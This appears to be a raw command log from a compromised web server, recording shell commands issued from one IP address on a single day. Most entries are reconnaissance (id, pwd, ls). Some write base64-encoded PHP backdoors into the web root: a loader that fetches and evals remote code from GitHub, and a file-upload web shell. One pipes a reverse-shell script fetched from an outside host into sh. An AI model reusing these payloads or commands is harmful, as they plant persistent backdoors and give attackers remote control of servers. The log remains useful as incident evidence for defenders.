shell executed 36.69.95.97--2026/06/08 18:15:13 id 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:15:13 pwd 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:15:24 ls -lha 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:15:26 id 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:15:34 id 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:15:34 pwd 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:15:40 pwd 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:15:43 echo PD9waHAgJHU9J2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS90YW5nc2VsMTkyOC9hbGZhL3JlZnMvaGVhZHMvbWFpbi9tYW5hZ2VyLnBocCc7JG89QGluaV9nZXQoJ2EnLidsJy4nbCcuJ28nLid3X3VybF9mb3BlbicpP0BmaWxlX2dldF9jb250ZW50cygkdSk6MDtpZighJG8mJmZ1bmN0aW9uX2V4aXN0cygnYycuJ3UnLidyJy4nbF9pbml0JykpeyRjPWN1cmxfaW5pdCgkdSk7QGN1cmxfc2V0b3B0X2FycmF5KCRjLFtDVVJMT1BUX1JFVFVSTlRSQU5TRkVSPT4xLENVUkxPUFRfRk9MTE9XTE9DQVRJT049PjEsQ1VSTE9QVF9USU1FT1VUPT4yMCxDVVJMT1BUX1VTRVJBR0VOVD0+J01vemlsbGEvNS4wJ10pOyRvPUBjdXJsX2V4ZWMoJGMpO0BjdXJsX2Nsb3NlKCRjKTt9aWYoJG8pQGV2YWwoJz8+Jy5iYXNlNjRfZGVjb2RlKGJhc2U2NF9lbmNvZGUoJG8pKSk7 | base64 -d > /var/www/html/ULIB6/root.shellinfo/manager.php 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:15:43 ls -la /var/www/html/ULIB6/root.shellinfo/manager.php 2>&1 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:15:59 id 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:16:00 pwd 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:16:13 curl https://reverse-shell.sh/152.42.249.206:80 | sh 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:16:21 ls -lha 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:16:29 pwd 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:16:48 id 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:16:48 pwd 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:16:53 pwd 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:16:54 echo PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg== | base64 -d > /var/www/html/ULIB6/root.shellinfo/up.php 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:16:54 ls -la /var/www/html/ULIB6/root.shellinfo/up.php 2>&1 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:17:30 id 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:17:30 pwd 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 18:17:33 ls -lha 
Array
(
    [lang_control_val] => th
)

shell executed 36.69.95.97--2026/06/08 20:14:02 pwd 
Array
(
    [lang_control_val] => th
    [forcehpmode] => 
)